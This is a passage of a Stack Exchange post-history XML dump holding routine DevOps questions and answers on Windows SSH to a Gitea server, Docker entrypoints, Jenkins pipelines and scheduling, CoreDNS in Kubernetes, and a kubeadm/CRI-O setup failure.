-v git@10.100.10.24 -p 22000 -i C:\Users\alexa\.ssh\id_rsa&#xD;&#xA;    OpenSSH_for_Windows_7.7p1, LibreSSL 2.6.5&#xD;&#xA;    debug1: Connecting to 10.100.10.24 [10.100.10.24] port 22000.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file C:\\Users\\alexa\\.ssh\\id_rsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file C:\\Users\\alexa\\.ssh\\id_rsa-cert type -1&#xD;&#xA;    debug1: Local version string SSH-2.0-OpenSSH_for_Windows_7.7&#xD;&#xA;    debug1: Remote protocol version 2.0, remote software version Go&#xD;&#xA;    debug1: no match: Go&#xD;&#xA;    debug1: Authenticating to 10.100.10.24:22000 as 'git'&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT sent&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT received&#xD;&#xA;    debug1: kex: algorithm: curve25519-sha256@libssh.org&#xD;&#xA;    debug1: kex: host key algorithm: ssh-rsa&#xD;&#xA;    debug1: kex: server-&gt;client cipher: aes128-ctr MAC: hmac-sha2-256-etm@openssh.com compression: none&#xD;&#xA;    debug1: kex: client-&gt;server cipher: aes128-ctr MAC: hmac-sha2-256-etm@openssh.com compression: none&#xD;&#xA;    debug1: expecting SSH2_MSG_KEX_ECDH_REPLY&#xD;&#xA;    debug1: Server host key: ssh-rsa SHA256:KuxUCu3Lh34jm8eqvengtJ10f+TG/mgPSRzrT+oBxGg&#xD;&#xA;    debug1: Host '[10.100.10.24]:22000' is known and matches the RSA host key.&#xD;&#xA;    debug1: Found key in C:\\Users\\alexa/.ssh/known_hosts:1&#xD;&#xA;    debug1: rekey after 4294967296 blocks&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS sent&#xD;&#xA;    debug1: expecting SSH2_MSG_NEWKEYS&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS received&#xD;&#xA;    debug1: rekey after 4294967296 blocks&#xD;&#xA;    debug1: pubkey_prepare: ssh_get_authentication_socket: No such file or directory&#xD;&#xA;    debug1: SSH2_MSG_SERVICE_ACCEPT received&#xD;&#xA;    debug1: Authentications that can continue: publickey&#xD;&#xA;    debug1: Next authentication method: publickey&#xD;&#xA;    debug1: Trying private key: C:\\Users\\alexa\\.ssh\\id_rsa&#xD;&#xA;    debug1: Authentication succeeded (publickey).&#xD;&#xA;    Authenticated to 10.100.10.24 ([10.100.10.24]:22000).&#xD;&#xA;    debug1: channel 0: new [client-session]&#xD;&#xA;    debug1: Entering interactive session.&#xD;&#xA;    debug1: pledge: network&#xD;&#xA;    debug1: console supports the ansi parsing" ContentLicense="CC BY-SA 4.0" />
  <row Id="33070" PostHistoryTypeId="2" PostId="10773" RevisionGUID="bd1771e4-c2a7-44d9-afe1-90b3836671b8" CreationDate="2020-02-11T20:36:11.487" UserId="18178" Text="When running PowerShell as the `ENTRYPOINT` for the container PowerShell should be executed as:&#xD;&#xA;&#xD;&#xA;```docker&#xD;&#xA;ENTRYPOINT [&quot;pwsh&quot;, &quot;-NoExit&quot;, &quot;-File&quot;, &quot;/app/Start-Test.ps1&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The short form of each of those parameters can be used. Additionally, the `-NoExit` flag will help with debugging the issue in for your deployment. The reason the `-NoExit` flag helps is the deployment stays alive long enough for you to confirm the logs and the container health.&#xD;&#xA;&#xD;&#xA;This answer along with answers from Alexey Skolyarov and John Humphreys to debug and solve my issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="33071" PostHistoryTypeId="5" PostId="10772" RevisionGUID="e0d6103d-79b9-47f8-a001-ef2ca89e10e9" CreationDate="2020-02-11T20:39:42.563" UserId="18869" Comment="Formatting" Text="My computer: Windows 10 Pro 1909&#xD;&#xA;&#xD;&#xA;I have a Gitea server running in my office, at local IP address 10.100.10.24, with SSH configured on port 22000. Gitea is configured to use port 3000 for HTTP.&#xD;&#xA;&#xD;&#xA;I'm able to access the Gitea website through my desktop, which is not the same PC that Gitea is running on, at URL `http://10.100.10.24:3000/.`&#xD;&#xA;&#xD;&#xA;Also, GitExtensions is able to connect to Gitea with the following SSH URL:&#xD;&#xA;&#xD;&#xA;    ssh://git@10.100.10.24:22000/afarley/[XXXXXXXX].git&#xD;&#xA;&#xD;&#xA;I started trying to set up TeamCity on my desktop to build this repository. However, when I configure this repo in TeamCity, I'm unable to connect. To drill down, I've tried to connect via ssh using the command-line.&#xD;&#xA;&#xD;&#xA;However, it seems that I'm unable to log in to the Gitea server via SSH; I **don't** get the expected response:&#xD;&#xA;&#xD;&#xA;    Hi there, You've successfully authenticated, but Gitea does not provide shell access.&#xD;&#xA;    If this is unexpected, please log in with password and setup Gitea under another user.&#xD;&#xA;&#xD;&#xA;Rather, the entire terminal just seems to hang.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/f8UxS.png&#xD;&#xA;&#xD;&#xA;Things I have checked so far:  &#xD;&#xA;&#xD;&#xA; * The keyfile I'm pointing to (id_rsa) is PEM-formatted by exporting OpenSSH format from PuttyGen  &#xD;&#xA; * id_rsa has been set to 400 permissions via 'chmod 400 id_rsa' (does this make sense? I'm using Windows 10)  &#xD;&#xA;&#xD;&#xA;The issue feels similar to this:&#xD;&#xA;https://github.com/PowerShell/Win32-OpenSSH/issues/1334&#xD;&#xA;&#xD;&#xA;But the discussion for that issue seems to go dead around Jul 9, 2019. I can't believe that the openssh client on Windows 10 is this broken; am I doing something else wrong?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Here's what I get if I add the `-v` flag:&#xD;&#xA;&#xD;&#xA;    PS C:\Users\alexa\.ssh&gt; ssh -v git@10.100.10.24 -p 22000 -i C:\Users\alexa\.ssh\id_rsa&#xD;&#xA;    OpenSSH_for_Windows_7.7p1, LibreSSL 2.6.5&#xD;&#xA;    debug1: Connecting to 10.100.10.24 [10.100.10.24] port 22000.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file C:\\Users\\alexa\\.ssh\\id_rsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file C:\\Users\\alexa\\.ssh\\id_rsa-cert type -1&#xD;&#xA;    debug1: Local version string SSH-2.0-OpenSSH_for_Windows_7.7&#xD;&#xA;    debug1: Remote protocol version 2.0, remote software version Go&#xD;&#xA;    debug1: no match: Go&#xD;&#xA;    debug1: Authenticating to 10.100.10.24:22000 as 'git'&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT sent&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT received&#xD;&#xA;    debug1: kex: algorithm: curve25519-sha256@libssh.org&#xD;&#xA;    debug1: kex: host key algorithm: ssh-rsa&#xD;&#xA;    debug1: kex: server-&gt;client cipher: aes128-ctr MAC: hmac-sha2-256-etm@openssh.com compression: none&#xD;&#xA;    debug1: kex: client-&gt;server cipher: aes128-ctr MAC: hmac-sha2-256-etm@openssh.com compression: none&#xD;&#xA;    debug1: expecting SSH2_MSG_KEX_ECDH_REPLY&#xD;&#xA;    debug1: Server host key: ssh-rsa SHA256:KuxUCu3Lh34jm8eqvengtJ10f+TG/mgPSRzrT+oBxGg&#xD;&#xA;    debug1: Host '[10.100.10.24]:22000' is known and matches the RSA host key.&#xD;&#xA;    debug1: Found key in C:\\Users\\alexa/.ssh/known_hosts:1&#xD;&#xA;    debug1: rekey after 4294967296 blocks&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS sent&#xD;&#xA;    debug1: expecting SSH2_MSG_NEWKEYS&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS received&#xD;&#xA;    debug1: rekey after 4294967296 blocks&#xD;&#xA;    debug1: pubkey_prepare: ssh_get_authentication_socket: No such file or directory&#xD;&#xA;    debug1: SSH2_MSG_SERVICE_ACCEPT received&#xD;&#xA;    debug1: Authentications that can continue: publickey&#xD;&#xA;    debug1: Next authentication method: publickey&#xD;&#xA;    debug1: Trying private key: C:\\Users\\alexa\\.ssh\\id_rsa&#xD;&#xA;    debug1: Authentication succeeded (publickey).&#xD;&#xA;    Authenticated to 10.100.10.24 ([10.100.10.24]:22000).&#xD;&#xA;    debug1: channel 0: new [client-session]&#xD;&#xA;    debug1: Entering interactive session.&#xD;&#xA;    debug1: pledge: network&#xD;&#xA;    debug1: console supports the ansi parsing" ContentLicense="CC BY-SA 4.0" />
  <row Id="33072" PostHistoryTypeId="2" PostId="10774" RevisionGUID="c4ee070c-9415-4883-931a-ce76dde099f9" CreationDate="2020-02-11T22:38:45.850" UserId="19627" Text="OK, there seems to be two problems here.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;### SSH hanging after connection&#xD;&#xA;&#xD;&#xA;It's probably a problem on the client tty due to limitations of MinGW. In the past I've encountered that `ssh` was unable to `ioctl` the local `tty` because the lack of a control device (`pty`). I've used https://github.com/rprichard/winpty at the time, but I think that newer versions of MinGW/MinGW64 (the Posix layer installed to run bash by Git) have that covered because I didn't see that problem anymore.&#xD;&#xA;&#xD;&#xA;Summary:&#xD;&#xA;&#xD;&#xA;- Try upgrading git in your Windows client to the latest version (best option).&#xD;&#xA;- Try using `GIT CMD` instead of `GIT BASH`.&#xD;&#xA;- If you're not using the GIT components on Windows, try invoking `ssh` from a Command window.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;### SSH not using your key&#xD;&#xA;&#xD;&#xA;I suspect that this is your problem:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;debug1: identity file C:\\Users\\alexa\\.ssh\\id_rsa type -1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In my PC, I get the following:&#xD;&#xA;```&#xD;&#xA;debug1: Reading configuration data /c/Users/xxxx/.ssh/config&#xD;&#xA;debug1: Reading configuration data /etc/ssh/ssh_config&#xD;&#xA;debug1: Connecting to xxx [192.168.0.1] port 22.&#xD;&#xA;debug1: Connection established.&#xD;&#xA;debug1: identity file /c/Users/xxxx/.ssh/id_rsa type 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As to why you're getting type `-1`, it _might_ be a permissions problem. Make sure that all `C:\Users\alexa`, `C:\Users\alexa\.ssh` _and_ `C:\Users\alexa\.ssh\id_rsa` have only permissions for `SYSTEM`, `alexa` and `Administrators`.&#xD;&#xA;&#xD;&#xA;Also, please notice that you're getting double backslashes in your log (e.g. `C:\\Users\\alexa\\.ssh\\id_rsa` instead of `C:\Users\alexa\.ssh\id_rsa`). I don't get double backslashes in mine.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33073" PostHistoryTypeId="5" PostId="10732" RevisionGUID="93afa2d3-b3c5-406a-8fd4-6d478d3da199" CreationDate="2020-02-12T06:23:35.550" UserId="19018" Comment="added 620 characters in body" Text="I have created a Jenkins job which have Choice Parameters, Active Choice Parameters, Active choice reactive params and Reactive reference params.&#xD;&#xA;&#xD;&#xA;This job needs to be scheduled with parameters.&#xD;&#xA;&#xD;&#xA;As the active choice params and reactive choice params are dynamically executed with groovy scripts.&#xD;&#xA;&#xD;&#xA;How can I pass these parameters to schedule a job with cron present in Jenkins.&#xD;&#xA;&#xD;&#xA;I'm using [Parameterized Scheduler][1] plugin for scheduling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Say I have a job which have &#xD;&#xA;&#xD;&#xA;1 Active choice parameter PARAM_A &#xD;&#xA;&#xD;&#xA;1 Active choice reactive parameter PARAM_B &#xD;&#xA;&#xD;&#xA;2 active choice reactive reference parameters PARAM_C and PARAM_D.&#xD;&#xA;&#xD;&#xA;I tried by hard coding active choice parameter in the cron like below&#xD;&#xA;```&#xD;&#xA;15 7 * * * % PARAM_A=somestring&#xD;&#xA;```&#xD;&#xA;But with the provided active choice value, the job is getting failed.&#xD;&#xA;Because the **reactive reference parameters** which were written in groovy script are not getting executed when i triggered with scheduler in jenkins.&#xD;&#xA;&#xD;&#xA;In a jenkins schedule job using parameterized-scheduler, where if we give input &#xD;&#xA;  [1]: https://plugins.jenkins.io/parameterized-scheduler" ContentLicense="CC BY-SA 4.0" />
  <row Id="33074" PostHistoryTypeId="2" PostId="10775" RevisionGUID="17d446c1-da68-412c-8f73-237774c9bf3b" CreationDate="2020-02-12T07:29:28.093" UserId="19635" Text="I have a situation with a CI Pipeline I'm trying to implement using Jenkins and Docker .&#xD;&#xA;&#xD;&#xA;Inside my pipeline I want to: download a python uwsgi web app, build it in a docker container, run it, then execute API tests against the container's endpoints.&#xD;&#xA;&#xD;&#xA;Mentions:&#xD;&#xA;&#xD;&#xA;- I am using a jenkins-docker image ran with docker.sock volume mounted&#xD;&#xA;- I run the python web app in the docker container, with a volume mounted to docker.sock, so the container mounts on the docker host on the linux server (which also hosts my jenkins docker container)&#xD;&#xA;- I exposed port 4000 on the python app, I can access the python web app endpoints from the Linux server (curl request), I can access it from the network via browser requests, but I cannot, for the life of me, access the endpoint from the jenkins pipeline&#xD;&#xA;&#xD;&#xA;I get the error Failed to connect to 0.0.0.0 port 4000: Connection refused. &#xD;&#xA;I also tried with localhost:4000, I get the same result&#xD;&#xA;&#xD;&#xA;My pipeline looks like this&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;    def app&#xD;&#xA;&#xD;&#xA;    stage('Clone repository') {&#xD;&#xA;        git 'https://github.com/....'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stage('Build image') {&#xD;&#xA;        app = docker.build('img:tag', '.')&#xD;&#xA;        sh 'docker run -d -p 4000:4000 -v /var/run/docker.sock:/var/run/docker.sock img:tag'&#xD;&#xA;        sleep time: 1, unit: 'MINUTES'&#xD;&#xA;        sh 'curl http://0.0.0.0:4000/api/hello'&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can anyone please help me with this? Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="33075" PostHistoryTypeId="1" PostId="10775" RevisionGUID="17d446c1-da68-412c-8f73-237774c9bf3b" CreationDate="2020-02-12T07:29:28.093" UserId="19635" Text="Connection refused when CURLing to docker container from within Jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="33076" PostHistoryTypeId="3" PostId="10775" RevisionGUID="17d446c1-da68-412c-8f73-237774c9bf3b" CreationDate="2020-02-12T07:29:28.093" UserId="19635" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33077" PostHistoryTypeId="2" PostId="10776" RevisionGUID="17420923-2303-45d8-aaf9-127f47dfe98e" CreationDate="2020-02-12T09:14:06.403" UserId="19638" Text="If I run a Service *Foo* on every Node, and also Service *Bar* on every Node, i.e. with a DaemonSets. If a Pod from Service *Foo* needs to make a request to Service *Bar*, does Kubernetes networking magic optimise things so communication will be done within the same Node, i.e. without a network call? Or will a random Pod Bar be picked meaning usually there will be a network hop?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Context to question*: I'm thinking to run `CoreDNS` as a Daemonset, because with the *cache* plugin, I'm hoping most DNS queries will not need to use the network as there will always be a CoreDNS Pod co-located within the same Node and most requests will be cached. Currently we only run 3 CoreDNS pods and we have 12 Nodes and we see some DNS failures at times of network traffic surges - particularly during a deployment when lot of logging is done, which have to be shipped across the network to ElasticSearch.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In case specifics matter:&#xD;&#xA;&#xD;&#xA;* The CoreDNS service runs as `clusterIP: 172.20.0.10`&#xD;&#xA;* The services that use CoreDNS run as `type: NodePort`&#xD;&#xA;* The Kubernetes cluster is AWS EKS, v1.14.9. Networking is done with the AWS VPC CNI." ContentLicense="CC BY-SA 4.0" />
  <row Id="33078" PostHistoryTypeId="1" PostId="10776" RevisionGUID="17420923-2303-45d8-aaf9-127f47dfe98e" CreationDate="2020-02-12T09:14:06.403" UserId="19638" Text="Does Kubernetes internal networking keep traffic to co-located Pods where possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33079" PostHistoryTypeId="3" PostId="10776" RevisionGUID="17420923-2303-45d8-aaf9-127f47dfe98e" CreationDate="2020-02-12T09:14:06.403" UserId="19638" Text="&lt;kubernetes&gt;&lt;networking&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33083" PostHistoryTypeId="2" PostId="10778" RevisionGUID="b19c5dd2-0355-4a79-8bdc-77ca4437a07f" CreationDate="2020-02-12T09:50:30.057" UserId="18612" Text="I would like to Dockerize my existing vuejs app for staging , production and I used multi staged approach to create my app container and I'm using Ubuntu 18.04 and this is my,&#xD;&#xA;&#xD;&#xA;###Dockerfile&#xD;&#xA;&#xD;&#xA;    # build stage&#xD;&#xA;    FROM node:lts-alpine as build-stage&#xD;&#xA;    &#xD;&#xA;    LABEL maintainer=&quot;servers@xpl.com&quot;&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package*.json ./&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . ./&#xD;&#xA;    &#xD;&#xA;    RUN npm run build&#xD;&#xA;    &#xD;&#xA;    # production stage&#xD;&#xA;    FROM nginx:stable-alpine&#xD;&#xA;    &#xD;&#xA;    LABEL maintainer=&quot;servers@xpl.com&quot;&#xD;&#xA;    &#xD;&#xA;    COPY --from=build-stage /app/dist/ /app/dist/&#xD;&#xA;    &#xD;&#xA;    COPY nginx/nginx.conf /etc/nginx/&#xD;&#xA;    &#xD;&#xA;    EXPOSE 80&#xD;&#xA;&#xD;&#xA;I don't want to create `docker-compose.yml` file to assign anything and my question would be like , Create `.env` file with hardcoded values.&#xD;&#xA;&#xD;&#xA;**i.e**&#xD;&#xA;&#xD;&#xA;    VUE_APP_API_ENDPOINT_DOMAIN=VUE_APP_API_ENDPOINT_DOMAIN&#xD;&#xA;&#xD;&#xA;  1 .When running npm run build it'll put VUE_APP_API_ENDPOINT_DOMAIN in the dest files.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; 2 .We need to know which file. Probably index.html I believe.&#xD;&#xA;&#xD;&#xA; 3 .We create entry-point.sh script will get all env variables starting with `VUE_APP_` and take it's value. And then using **`sed`** command we find and replace those hard coded variable placeholders in index.html.&#xD;&#xA;And finally start Nginx.&#xD;&#xA;&#xD;&#xA;**I was stuck on step 3 please help me ! Thanks in advanced**" ContentLicense="CC BY-SA 4.0" />
  <row Id="33084" PostHistoryTypeId="1" PostId="10778" RevisionGUID="b19c5dd2-0355-4a79-8bdc-77ca4437a07f" CreationDate="2020-02-12T09:50:30.057" UserId="18612" Text="create entry-point script to get all env variables starting with VUE_APP_ and take it's value" ContentLicense="CC BY-SA 4.0" />
  <row Id="33085" PostHistoryTypeId="3" PostId="10778" RevisionGUID="b19c5dd2-0355-4a79-8bdc-77ca4437a07f" CreationDate="2020-02-12T09:50:30.057" UserId="18612" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;shell-script&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33086" PostHistoryTypeId="2" PostId="10779" RevisionGUID="5b4dc0c6-84af-4b33-9e31-71f18e436fad" CreationDate="2020-02-12T09:51:19.843" UserId="19136" Text="Maybe it is strange solution, but I would like to provide it to you:&#xD;&#xA;&#xD;&#xA;You can get actual kubeconfig file from your Kubernetes cluster or locally and change it to base64 format like in example below:&#xD;&#xA;&#xD;&#xA;    - cat /root/.kube/config | base 64&#xD;&#xA;&#xD;&#xA;Then use your base64 configuration file in pipeline:&#xD;&#xA;&#xD;&#xA;    - echo $your_variable | base64 -d | tee /root/.kube/config&#xD;&#xA;&#xD;&#xA;In such case you will be having actual kubeconfig file on runner machine.&#xD;&#xA;&#xD;&#xA;In case of DNS problem - just need to specify IP address of your runner machine in /etc/resolv.conf file." ContentLicense="CC BY-SA 4.0" />
  <row Id="33087" PostHistoryTypeId="2" PostId="10780" RevisionGUID="7e0ec593-0844-4192-8672-9875098b5a03" CreationDate="2020-02-12T10:00:37.720" UserId="19264" Text="This looks to be answered on offcail docs [here](https://kubernetes.io/docs/tasks/administer-cluster/nodelocaldns/)&#xD;&#xA;&#xD;&#xA;&gt; NodeLocal DNSCache improves Cluster DNS performance by running a dns caching agent on cluster nodes as a DaemonSet.&#xD;&#xA;&#xD;&#xA;&gt; With this architecture, Pods will reach out to the dns caching agent running on the same node, thereby avoiding iptables DNAT rules and connection tracking. &#xD;&#xA;&#xD;&#xA;&gt; **Having a local cache will help improve the latency.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![\[\]][1]][1]&#xD;&#xA;&#xD;&#xA;Image Reference : https://kubernetes.io/docs/tasks/administer-cluster/nodelocaldns/#architecture-diagram&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/UQ3Ur.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33089" PostHistoryTypeId="2" PostId="10781" RevisionGUID="e15b11ed-4a65-43b2-afcc-b7e8b37716b1" CreationDate="2020-02-12T10:21:47.187" UserId="9952" Text="I’m new to docker and I want to dockerize a aleardy existing application.&#xD;&#xA;&#xD;&#xA;It consists of a react application (I already created a container for that one successfully), a REST-api based on node-express (that one kinda works) and a mysql-database (not workin so far).&#xD;&#xA;&#xD;&#xA;While developing I put a proxy into the package.json file of my React-Application. This enabled me to forward all the api-requests to a different port. And I want to also have this feature between my docker containers. So that my react application on port 3000 for example forwards all the unknown requests to the rest api on port 5000 via a proxy. Port 3000 and 5000 are in different containers.&#xD;&#xA;&#xD;&#xA;Furhtermore I need the REST-container to have access to port 3306 of another mysql-container. This other mysql container still needs to be created though. It should use hypriot/rpi-mysql or something similar and within the dockerfile it should import a given .sql file into the database and then run in the background.&#xD;&#xA;&#xD;&#xA;So my questions are: What would be the best way to share ports among the containers?&#xD;&#xA;How can I set up a Dockerfile for a MySql container with a .sql file as setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33090" PostHistoryTypeId="1" PostId="10781" RevisionGUID="e15b11ed-4a65-43b2-afcc-b7e8b37716b1" CreationDate="2020-02-12T10:21:47.187" UserId="9952" Text="Let docker containers work with each other" ContentLicense="CC BY-SA 4.0" />
  <row Id="33091" PostHistoryTypeId="3" PostId="10781" RevisionGUID="e15b11ed-4a65-43b2-afcc-b7e8b37716b1" CreationDate="2020-02-12T10:21:47.187" UserId="9952" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;node.js&gt;&lt;orchestration&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33092" PostHistoryTypeId="2" PostId="10782" RevisionGUID="38aeb326-2a44-440c-b045-5c5f46b16236" CreationDate="2020-02-12T11:05:55.587" UserId="11995" Text="We're moving from a .NET monolithic application to a microservices architecture hosted on Azure.&#xD;&#xA;&#xD;&#xA;Until now, we only had one build definition on TFS and a release definition for each environment (development, staging and production).&#xD;&#xA;All the Azure resources needed to deploy to each environment were created manually. We want to automate this part.&#xD;&#xA;&#xD;&#xA;How's the recommended approach to handle new resources setup? Do you just put steps in the release pipeline that will create the needed resources when they don't exist? Or do you have a separate pipeline that's solely responsible for creating all the resources for a new environment?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33093" PostHistoryTypeId="1" PostId="10782" RevisionGUID="38aeb326-2a44-440c-b045-5c5f46b16236" CreationDate="2020-02-12T11:05:55.587" UserId="11995" Text="How to handle resource creation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33094" PostHistoryTypeId="3" PostId="10782" RevisionGUID="38aeb326-2a44-440c-b045-5c5f46b16236" CreationDate="2020-02-12T11:05:55.587" UserId="11995" Text="&lt;azure-devops&gt;&lt;microservices&gt;&lt;release-management&gt;&lt;tfs&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33095" PostHistoryTypeId="5" PostId="10757" RevisionGUID="c11cb7f3-5779-4694-a5bb-7fe2e4ea3b53" CreationDate="2020-02-12T11:47:16.123" UserId="19598" Comment="Added info as per Matt and LArntz request." Text="I've been following this doc to deploy kubernetes https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/&#xD;&#xA;&#xD;&#xA;After launching the &quot;kubeadm init&quot; command and during its excecution, this is the output:&#xD;&#xA;&#xD;&#xA;&gt; [kubelet-check] The HTTP call equal to 'curl -sSL http://localhost:10248/healthz' failed with error: Get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.&#xD;&#xA;Unfortunately, an error has occurred:&#xD;&#xA;        timed out waiting for the condition&#xD;&#xA;This error is likely caused by:&#xD;&#xA;        - The kubelet is not running&#xD;&#xA;        - The kubelet is unhealthy due to a misconfiguration of the node in some way (required cgroups disabled)&#xD;&#xA;If you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:&#xD;&#xA;        - 'systemctl status kubelet'&#xD;&#xA;        - 'journalctl -xeu kubelet'&#xD;&#xA;Additionally, a control plane component may have crashed or exited when started by the container runtime.&#xD;&#xA;To troubleshoot, list all containers using your preferred container runtimes CLI, e.g. docker.&#xD;&#xA;Here is one example how you may list all Kubernetes containers running in docker:&#xD;&#xA;        - 'docker ps -a | grep kube | grep -v pause'&#xD;&#xA;        Once you have found the failing container, you can inspect its logs with:&#xD;&#xA;        - 'docker logs CONTAINERID'&#xD;&#xA;error execution phase wait-control-plane: couldn't initialize a Kubernetes cluster&#xD;&#xA;To see the stack trace of this error execute with --v=5 or higher&#xD;&#xA;&#xD;&#xA;It runs fine if I install docker and switch the runtime to docker instead of &quot;remote&quot; and &quot;systemd&quot;.&#xD;&#xA;&#xD;&#xA;I've tried several things, but this is the content of my last try:&#xD;&#xA;&#xD;&#xA;&gt;  cat etc/sysconfig/kubelet&#xD;&#xA;&#xD;&#xA;&gt;  KUBELET_ARGS=&quot;--container-runtime=remote&#xD;&#xA;&gt; --container-runtime-endpoint=unix:///var/run/crio/crio.sock --runtime-request-timeout=10m --cluster_domain=topota.madre&quot;&#xD;&#xA;&#xD;&#xA;&gt; systemctl cat kubelet&#xD;&#xA;&gt; &#xD;&#xA;&gt; \# /usr/lib/systemd/system/kubelet.service [Unit] Description=kubelet: The Kubernetes Node Agent Documentation=https://kubernetes.io/docs/&#xD;&#xA;&gt; &#xD;&#xA;&gt; [Service] ExecStart=/usr/bin/kubelet Restart=always&#xD;&#xA;&gt; StartLimitInterval=0 RestartSec=10&#xD;&#xA;&gt; &#xD;&#xA;&gt; [Install] WantedBy=multi-user.target&#xD;&#xA;&gt; &#xD;&#xA;&gt; \# /usr/lib/systemd/system/kubelet.service.d/10-kubeadm.conf&#xD;&#xA;&gt; \# Note: This dropin only works with kubeadm and kubelet v1.11+ [Service]&#xD;&#xA;&gt; Environment=&quot;KUBELET_KUBECONFIG_ARGS=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf&#xD;&#xA;&gt; --kubeconfig=/etc/ Environment=&quot;KUBELET_CONFIG_ARGS=--config=/var/lib/kubelet/config.yaml&quot;&#xD;&#xA;&gt; \# This is a file that &quot;kubeadm init&quot; and &quot;kubeadm join&quot; generates at runtime, populating the KUBELET_KUBEADM_ARGS var&#xD;&#xA;&gt; EnvironmentFile=-/var/lib/kubelet/kubeadm-flags.env&#xD;&#xA;&gt; \# This is a file that the user can use for overrides of the kubelet args as a last resort. Preferably, the user shoul&#xD;&#xA;&gt; \# the .NodeRegistration.KubeletExtraArgs object in the configuration files instead. KUBELET_EXTRA_ARGS should be sour&#xD;&#xA;&gt; EnvironmentFile=-/etc/sysconfig/kubelet ExecStart=&#xD;&#xA;&gt; ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS&#xD;&#xA;&gt; $KUBELET_CONFIG_ARGS $KUBELET_KUBEADM_ARGS $KUBELET_EXTRA_ARGS&#xD;&#xA;&#xD;&#xA;&gt; cat /var/lib/kubelet/kubeadm-flags.env&#xD;&#xA;&#xD;&#xA;&gt; is empty right now&#xD;&#xA;&#xD;&#xA;Cri-O service ir running ok and Docker is not installed.&#xD;&#xA;&#xD;&#xA;- kubelet version --short -&gt; Client Version: v1.17.2&#xD;&#xA;- kubeadm version -o short -&gt; v1.17.2&#xD;&#xA;- cat /etc/redhat-release -&gt; CentOS Linux release 7.7.1908 (Core)&#xD;&#xA;- crictl version -&gt; [&quot;Version:  0.1.0&quot;,&quot;RuntimeName: cri-o&quot;,&quot;RuntimeVersion:  1.15.1-2.el7&quot;,&quot;RuntimeApiVersion:  v1alpha1&quot;]&#xD;&#xA;- crictl info -&gt; {&quot;status&quot;: {&quot;conditions&quot;: [{&quot;type&quot;: &quot;RuntimeReady&quot;,&quot;status&quot;: true,&quot;reason&quot;: &quot;&quot;,&quot;message&quot;: &quot;&quot;},{&quot;type&quot;: NetworkReady&quot;,&quot;status&quot;: true,&quot;reason&quot;: &quot;&quot;,&quot;message&quot;: &quot;&quot;}]}}&#xD;&#xA;- grep -i cgroup_manager /etc/crio/crio.conf -&gt; cgroup_manager = &quot;systemd&quot;&#xD;&#xA;- lsmod | grep -i &quot;overlay\|br_netfilter&quot; -&gt; [&quot;br_netfilter&quot;,&quot;overlay&quot;] (both ok).&#xD;&#xA;- Other &quot;extra args tested&quot; (/etc/sysconfig/kubelet)&#xD;&#xA;&#xD;&#xA;&gt; 